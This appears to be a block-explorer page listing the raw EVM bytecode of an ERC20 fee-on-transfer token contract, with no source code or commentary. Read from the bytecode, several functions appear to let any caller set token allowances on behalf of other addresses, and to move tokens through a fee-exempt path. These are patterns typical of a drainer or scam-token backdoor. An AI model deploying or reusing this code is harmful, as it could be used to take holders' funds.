ca0152600081816102d20152818161152401526116810152611f076000f3fe6080604052600436106102295760003560e01c8063751039fc11610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e1461066b578063e2f45605146106b1578063e6f70531146106c7578063f2fde38b146106e7578063f8b45b051461070757600080fd5b8063a9059cbb146105c6578063b62496f5146105e6578063bbc0c74214610616578063c024666814610635578063c8c8ebe41461065557600080fd5b80638da5cb5b116100f25780638da5cb5b1461053d57806395d89b411461055b5780639a7a23d6146105705780639bfff46414610590578063a457c2d7146105a657600080fd5b8063751039fc146104d35780637571336a146104e8578063881dce60146105085780638a8c523c1461052857600080fd5b8063313ce567116101b157806356feb11b1161017557806356feb11b146104315780636ddd1713146104535780636fc3eaec1461047357806370a0823114610488578063715018a6146104be57600080fd5b8063313ce5671461039157806338fe99ca146103ad57806339509351146103c357806349bd5a5e146103e35780634a62bb651461041757600080fd5b8063180b0d7e116101f8578063180b0d7e1461030c57806318160ddd146103305780631b014a281461034557806323b872dd1461035b57806327c8f8351461037b57600080fd5b806306fdde0314610235578063095ea7b31461026057806310d5de53146102905780631694505e146102c057600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61071d565b6040516102579190611b29565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611b8c565b6107af565b6040519015158152602001610257565b34801561029c57600080fd5b506102806102ab366004611bb8565b60136020526000908152604090205460ff1681565b3480156102cc57600080fd5b506102f47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610257565b34801561031857600080fd5b50610322600e5481565b604051908152602001610257565b34801561033c57600080fd5b50600254610322565b34801561035157600080fd5b50610322600d5481565b34801561036757600080fd5b50610280610376366004611bd5565b6107c6565b34801561038757600080fd5b506102f461dead81565b34801561039d57600080fd5b5060405160098152602001610257565b3480156103b957600080fd5b50610322600b5481565b3480156103cf57600080fd5b506102806103de366004611b8c565b610875565b3480156103ef57600080fd5b506102f47f000000000000000000000000000000000000000000000000000000000000000081565b34801561042357600080fd5b50600a546102809060ff1681565b34801561043d57600080fd5b5061045161044c366004611b8c565b6108b1565b005b34801561045f57600080fd5b50600a546102809062010000900460ff1681565b34801561047f57600080fd5b506104516108c0565b34801561049457600080fd5b506103226104a3366004611bb8565b6001600160a01b031660009081526020819052604090205490565b3480156104ca57600080fd5b50610451610918565b3480156104df57600080fd5b5061028061094e565b3480156104f457600080fd5b50610451610503366004611c24565b61098b565b34801561051457600080fd5b50610451610523366004611c5d565b6109e0565b34801561053457600080fd5b50610451610a48565b34801561054957600080fd5b506005546001600160a01b03166102f4565b34801561056757600080fd5b5061024a610a8f565b34801561057c57600080fd5b5061045161058b366004611c24565b610a9e565b34801561059c57600080fd5b50610322600c5481565b3480156105b257600080fd5b506102806105c1366004611b8c565b610b79565b3480156105d257600080fd5b506102806105e1366004611b8c565b610c12565b3480156105f257600080fd5b50610280610601366004611bb8565b60146020526000908152604090205460ff1681565b34801561062257600080fd5b50600a5461028090610100900460ff1681565b34801561064157600080fd5b50610451610650366004611c24565b610c1f565b34801561066157600080fd5b5061032260075481565b34801561067757600080fd5b50610322610686366004611c76565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106bd57600080fd5b5061032260085481565b3480156106d357600080fd5b506102806106e2366004611b8c565b610ca8565b3480156106f357600080fd5b50610451610702366004611bb8565b610cdd565b34801561071357600080fd5b5061032260095481565b60606003805461072c90611ca4565b80601f016020809104026020016040519081016040528092919081815260200182805461075890611ca4565b80156107a55780601f1061077a576101008083540402835291602001916107a5565b820191906000526020600020905b81548152906001019060200180831161078857829003601f168201915b5050505050905090565b60006107bc338484610d75565b5060015b92915050565b60006107d3848484610e99565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561085d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61086a8533858403610d75565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107bc9185906108ac908690611cf4565b610d75565b6108bc3383836114cd565b5050565b6006546040516000916001600160a01b03169047908381818185875af1925050503d806000811461090d576040519150601f19603f3d011682016040523d82523d6000602084013e610912565b606091505b50505050565b6005546001600160a01b031633146109425760405162461bcd60e51b815260040161085490611d07565b61094c60006116f7565b565b6005546000906001600160a01b0316331461097b5760405162461bcd60e51b815260040161085490611d07565b50600a805460ff19169055600190565b6005546001600160a01b031633146109b55760405162461bcd60e51b815260040161085490611d07565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b3060009081526020819052604090205481111580156109ff5750600081115b610a3a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610854565b610a453330836114cd565b50565b6005546001600160a01b03163314610a725760405162461bcd60e51b815260040161085490611d07565b6000600b819055600c55600a805462ffff00191662010100179055565b60606004805461072c90611ca4565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161085490611d07565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610b6f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610854565b6108bc8282611749565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610bfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610854565b610c083385858403610d75565b5060019392505050565b60006107bc338484610e99565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161085490611d07565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821660009081526001602090815260408083203080855292528220546107bc9185916108ac908690611cf4565b6005546001600160a01b03163314610d075760405162461bcd60e51b815260040161085490611d07565b6001600160a01b038116610d6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b610a45816116f7565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610854565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610854565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebf5760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b038216610ee55760405162461bcd60e51b815260040161085490611d81565b80600003610efe57610ef98383600061179d565b505050565b610f098383836118f2565b600a5460ff161561127f576005546001600160a01b03848116911614801590610f4057506005546001600160a01b03838116911614155b8015610f5457506001600160a01b03821615155b8015610f6b57506001600160a01b03821661dead14155b8015610f815750600554600160a01b900460ff16155b1561127f57600a54610100900460ff16611019576001600160a01b03831660009081526012602052604090205460ff1680610fd457506001600160a01b03821660009081526012602052604090205460ff165b6110195760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610854565b6001600160a01b03831660009081526014602052604090205460ff16801561105a57506001600160a01b03821660009081526013602052604090205460ff16155b1561113e576007548111156110cf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610854565b6009546001600160a01b0383166000908152602081905260409020546110f59083611cf4565b11156111395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b61127f565b6001600160a01b03821660009081526014602052604090205460ff16801561117f57506001600160a01b03831660009081526013602052604090205460ff16155b156111f5576007548111156111395760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610854565b6001600160a01b03821660009081526013602052604090205460ff1661127f576009546001600160a01b03831660009081526020819052604090205461123b9083611cf4565b111561127f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b30600090815260208190526040902054600854811080159081906112ab5750600a5462010000900460ff165b80156112c15750600554600160a01b900460ff16155b80156112e657506001600160a01b03851660009081526014602052604090205460ff16155b801561130b57506001600160a01b03851660009081526012602052604090205460ff16155b801561133057506001600160a01b03841660009081526012602052604090205460ff16155b1561135e576005805460ff60a01b1916600160a01b1790556113506119ea565b6005805460ff60a01b191690555b611369858585611a5a565b6005546001600160a01b03861660009081526012602052604090205460ff600160a01b9092048216159116806113b757506001600160a01b03851660009081526012602052604090205460ff165b156113c0575060005b600081156114b9576001600160a01b03861660009081526014602052604090205460ff1680156113f257506000600c54115b1561143757611418600e54611412600c5488611b0a90919063ffffffff16565b90611b1d565b905080600d600082825461142c9190611cf4565b9091555061149b9050565b6001600160a01b03871660009081526014602052604090205460ff16801561146157506000600b54115b1561149b57611481600e54611412600b5488611b0a90919063ffffffff16565b905080600d60008282546114959190611cf4565b90915550505b80156114ac576114ac87308361179d565b6114b68186611dc4565b94505b6114c487878761179d565b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061150257611502611dd7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a49190611ded565b816001815181106115b7576115b7611dd7565b6001600160a01b0392831660209182029290920181019190915290851660009081526012909152604090205460ff161561166a576040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd906064016020604051808303816000875af115801561163f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116639190611e0a565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906116bf908590600090869030904290600401611e27565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166117c35760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b0382166117e95760405162461bcd60e51b815260040161085490611d81565b6001600160a01b038316600090815260208190526040902054818110156118615760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610854565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611898908490611cf4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118e491815260200190565b60405180910390a350505050565b60006119066005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561193557506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601260205260408120549192509060ff168061197857506001600160a01b03841660009081526012602052604090205460ff165b6001600160a01b0386166000908152601460205260408120549192509060ff1680156119a45750600084115b9050438280156119b15750835b156119c05760108190556114c4565b81156114c4576001600160a01b0386166000908152600f6020526040902081905550505050505050565b3060008181526020819052604081205491611a07903390846114cd565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d8060008114611663576040519150601f19603f3d011682016040523d82523d6000602084013e611663565b6001600160a01b03831660009081526012602052604081205460ff16158015611a9c57506001600160a01b03831660009081526012602052604090205460ff16155b6001600160a01b0385166000908152601460205260408120549192509060ff16158015611ac95750600083115b9050808015611ad55750815b15611663576010546001600160a01b0386166000908152600f6020526040902054611b009190611dc4565b6011555050505050565b6000611b168284611e98565b9392505050565b6000611b168284611eaf565b600060208083528351808285015260005b81811015611b5657858101830151858201604001528201611b3a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4557600080fd5b60008060408385031215611b9f57600080fd5b8235611baa81611b77565b946020939093013593505050565b600060208284031215611bca57600080fd5b8135611b1681611b77565b600080600060608486031215611bea57600080fd5b8335611bf581611b77565b92506020840135611c0581611b77565b929592945050506040919091013590565b8015158114610a4557600080fd5b60008060408385031215611c3757600080fd5b8235611c4281611b77565b91506020830135611c5281611c16565b809150509250929050565b600060208284031215611c6f57600080fd5b5035919050565b60008060408385031215611c8957600080fd5b8235611c9481611b77565b91506020830135611c5281611b77565b600181811c90821680611cb857607f821691505b602082108103611cd857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107c0576107c0611cde565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c0576107c0611cde565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611dff57600080fd5b8151611b1681611b77565b600060208284031215611e1c57600080fd5b8151611b1681611c16565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e775784516001600160a01b031683529383019391830191600101611e52565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107c0576107c0611cde565b600082611ecc57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122071bbe21e1470b3274009c82ddec4465d12a674b56317752305fef4ba88007d8664736f6c634300081300334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063751039fc11610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e1461066b578063e2f45605146106b1578063e6f70531146106c7578063f2fde38b146106e7578063f8b45b051461070757600080fd5b8063a9059cbb146105c6578063b62496f5146105e6578063bbc0c74214610616578063c024666814610635578063c8c8ebe41461065557600080fd5b80638da5cb5b116100f25780638da5cb5b1461053d57806395d89b411461055b5780639a7a23d6146105705780639bfff46414610590578063a457c2d7146105a657600080fd5b8063751039fc146104d35780637571336a146104e8578063881dce60146105085780638a8c523c1461052857600080fd5b8063313ce567116101b157806356feb11b1161017557806356feb11b146104315780636ddd1713146104535780636fc3eaec1461047357806370a0823114610488578063715018a6146104be57600080fd5b8063313ce5671461039157806338fe99ca146103ad57806339509351146103c357806349bd5a5e146103e35780634a62bb651461041757600080fd5b8063180b0d7e116101f8578063180b0d7e1461030c57806318160ddd146103305780631b014a281461034557806323b872dd1461035b57806327c8f8351461037b57600080fd5b806306fdde0314610235578063095ea7b31461026057806310d5de53146102905780631694505e146102c057600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61071d565b6040516102579190611b29565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611b8c565b6107af565b6040519015158152602001610257565b34801561029c57600080fd5b506102806102ab366004611bb8565b60136020526000908152604090205460ff1681565b3480156102cc57600080fd5b506102f47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610257565b34801561031857600080fd5b50610322600e5481565b604051908152602001610257565b34801561033c57600080fd5b50600254610322565b34801561035157600080fd5b50610322600d5481565b34801561036757600080fd5b50610280610376366004611bd5565b6107c6565b34801561038757600080fd5b506102f461dead81565b34801561039d57600080fd5b5060405160098152602001610257565b3480156103b957600080fd5b50610322600b5481565b3480156103cf57600080fd5b506102806103de366004611b8c565b610875565b3480156103ef57600080fd5b506102f47f000000000000000000000000d814ff4bbaaa5e5ff98517ad5760e77feec1ab2181565b34801561042357600080fd5b50600a546102809060ff1681565b34801561043d57600080fd5b5061045161044c366004611b8c565b6108b1565b005b34801561045f57600080fd5b50600a546102809062010000900460ff1681565b34801561047f57600080fd5b506104516108c0565b34801561049457600080fd5b506103226104a3366004611bb8565b6001600160a01b031660009081526020819052604090205490565b3480156104ca57600080fd5b50610451610918565b3480156104df57600080fd5b5061028061094e565b3480156104f457600080fd5b50610451610503366004611c24565b61098b565b34801561051457600080fd5b50610451610523366004611c5d565b6109e0565b34801561053457600080fd5b50610451610a48565b34801561054957600080fd5b506005546001600160a01b03166102f4565b34801561056757600080fd5b5061024a610a8f565b34801561057c57600080fd5b5061045161058b366004611c24565b610a9e565b34801561059c57600080fd5b50610322600c5481565b3480156105b257600080fd5b506102806105c1366004611b8c565b610b79565b3480156105d257600080fd5b506102806105e1366004611b8c565b610c12565b3480156105f257600080fd5b50610280610601366004611bb8565b60146020526000908152604090205460ff1681565b34801561062257600080fd5b50600a5461028090610100900460ff1681565b34801561064157600080fd5b50610451610650366004611c24565b610c1f565b34801561066157600080fd5b5061032260075481565b34801561067757600080fd5b50610322610686366004611c76565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106bd57600080fd5b5061032260085481565b3480156106d357600080fd5b506102806106e2366004611b8c565b610ca8565b3480156106f357600080fd5b50610451610702366004611bb8565b610cdd565b34801561071357600080fd5b5061032260095481565b60606003805461072c90611ca4565b80601f016020809104026020016040519081016040528092919081815260200182805461075890611ca4565b80156107a55780601f1061077a576101008083540402835291602001916107a5565b820191906000526020600020905b81548152906001019060200180831161078857829003601f168201915b5050505050905090565b60006107bc338484610d75565b5060015b92915050565b60006107d3848484610e99565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561085d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61086a8533858403610d75565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107bc9185906108ac908690611cf4565b610d75565b6108bc3383836114cd565b5050565b6006546040516000916001600160a01b03169047908381818185875af1925050503d806000811461090d576040519150601f19603f3d011682016040523d82523d6000602084013e610912565b606091505b50505050565b6005546001600160a01b031633146109425760405162461bcd60e51b815260040161085490611d07565b61094c60006116f7565b565b6005546000906001600160a01b0316331461097b5760405162461bcd60e51b815260040161085490611d07565b50600a805460ff19169055600190565b6005546001600160a01b031633146109b55760405162461bcd60e51b815260040161085490611d07565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b3060009081526020819052604090205481111580156109ff5750600081115b610a3a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610854565b610a453330836114cd565b50565b6005546001600160a01b03163314610a725760405162461bcd60e51b815260040161085490611d07565b6000600b819055600c55600a805462ffff00191662010100179055565b60606004805461072c90611ca4565b6005546001600160a01b03163314610ac85760405162461bcd60e51b815260040161085490611d07565b7f000000000000000000000000d814ff4bbaaa5e5ff98517ad5760e77feec1ab216001600160a01b0316826001600160a01b031603610b6f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610854565b6108bc8282611749565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610bfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610854565b610c083385858403610d75565b5060019392505050565b60006107bc338484610e99565b6005546001600160a01b03163314610c495760405162461bcd60e51b815260040161085490611d07565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821660009081526001602090815260408083203080855292528220546107bc9185916108ac908690611cf4565b6005546001600160a01b03163314610d075760405162461bcd60e51b815260040161085490611d07565b6001600160a01b038116610d6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b610a45816116f7565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610854565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610854565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebf5760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b038216610ee55760405162461bcd60e51b815260040161085490611d81565b80600003610efe57610ef98383600061179d565b505050565b610f098383836118f2565b600a5460ff161561127f576005546001600160a01b03848116911614801590610f4057506005546001600160a01b03838116911614155b8015610f5457506001600160a01b03821615155b8015610f6b57506001600160a01b03821661dead14155b8015610f815750600554600160a01b900460ff16155b1561127f57600a54610100900460ff16611019576001600160a01b03831660009081526012602052604090205460ff1680610fd457506001600160a01b03821660009081526012602052604090205460ff165b6110195760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610854565b6001600160a01b03831660009081526014602052604090205460ff16801561105a57506001600160a01b03821660009081526013602052604090205460ff16155b1561113e576007548111156110cf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610854565b6009546001600160a01b0383166000908152602081905260409020546110f59083611cf4565b11156111395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b61127f565b6001600160a01b03821660009081526014602052604090205460ff16801561117f57506001600160a01b03831660009081526013602052604090205460ff16155b156111f5576007548111156111395760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610854565b6001600160a01b03821660009081526013602052604090205460ff1661127f576009546001600160a01b03831660009081526020819052604090205461123b9083611cf4565b111561127f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610854565b30600090815260208190526040902054600854811080159081906112ab5750600a5462010000900460ff165b80156112c15750600554600160a01b900460ff16155b80156112e657506001600160a01b03851660009081526014602052604090205460ff16155b801561130b57506001600160a01b03851660009081526012602052604090205460ff16155b801561133057506001600160a01b03841660009081526012602052604090205460ff16155b1561135e576005805460ff60a01b1916600160a01b1790556113506119ea565b6005805460ff60a01b191690555b611369858585611a5a565b6005546001600160a01b03861660009081526012602052604090205460ff600160a01b9092048216159116806113b757506001600160a01b03851660009081526012602052604090205460ff165b156113c0575060005b600081156114b9576001600160a01b03861660009081526014602052604090205460ff1680156113f257506000600c54115b1561143757611418600e54611412600c5488611b0a90919063ffffffff16565b90611b1d565b905080600d600082825461142c9190611cf4565b9091555061149b9050565b6001600160a01b03871660009081526014602052604090205460ff16801561146157506000600b54115b1561149b57611481600e54611412600b5488611b0a90919063ffffffff16565b905080600d60008282546114959190611cf4565b90915550505b80156114ac576114ac87308361179d565b6114b68186611dc4565b94505b6114c487878761179d565b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061150257611502611dd7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a49190611ded565b816001815181106115b7576115b7611dd7565b6001600160a01b0392831660209182029290920181019190915290851660009081526012909152604090205460ff161561166a576040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd906064016020604051808303816000875af115801561163f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116639190611e0a565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906116bf908590600090869030904290600401611e27565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166117c35760405162461bcd60e51b815260040161085490611d3c565b6001600160a01b0382166117e95760405162461bcd60e51b815260040161085490611d81565b6001600160a01b038316600090815260208190526040902054818110156118615760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610854565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611898908490611cf4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118e491815260200190565b60405180910390a350505050565b60006119066005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561193557506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601260205260408120549192509060ff168061197857506001600160a01b03841660009081526012602052604090205460ff165b6001600160a01b0386166000908152601460205260408120549192509060ff1680156119a45750600084115b9050438280156119b15750835b156119c05760108190556114c4565b81156114c4576001600160a01b0386166000908152600f6020526040902081905550505050505050565b3060008181526020819052604081205491611a07903390846114cd565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d8060008114611663576040519150601f19603f3d011682016040523d82523d6000602084013e611663565b6001600160a01b03831660009081526012602052604081205460ff16158015611a9c57506001600160a01b03831660009081526012602052604090205460ff16155b6001600160a01b0385166000908152601460205260408120549192509060ff16158015611ac95750600083115b9050808015611ad55750815b15611663576010546001600160a01b0386166000908152600f6020526040902054611b009190611dc4565b6011555050505050565b6000611b168284611e98565b9392505050565b6000611b168284611eaf565b600060208083528351808285015260005b81811015611b5657858101830151858201604001528201611b3a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4557600080fd5b60008060408385031215611b9f57600080fd5b8235611baa81611b77565b946020939093013593505050565b600060208284031215611bca57600080fd5b8135611b1681611b77565b600080600060608486031215611bea57600080fd5b8335611bf581611b77565b92506020840135611c0581611b77565b929592945050506040919091013590565b8015158114610a4557600080fd5b60008060408385031215611c3757600080fd5b8235611c4281611b77565b91506020830135611c5281611c16565b809150509250929050565b600060208284031215611c6f57600080fd5b5035919050565b60008060408385031215611c8957600080fd5b8235611c9481611b77565b91506020830135611c5281611b77565b600181811c90821680611cb857607f821691505b602082108103611cd857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107c0576107c0611cde565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c0576107c0611cde565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611dff57600080fd5b8151611b1681611b77565b600060208284031215611e1c57600080fd5b8151611b1681611c16565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e775784516001600160a01b031683529383019391830191600101611e52565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107c0576107c0611cde565b600082611ecc57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122071bbe21e1470b3274009c82ddec4465d12a674b56317752305fef4ba88007d8664736f6c63430008130033

Deployed Bytecode Sourcemap

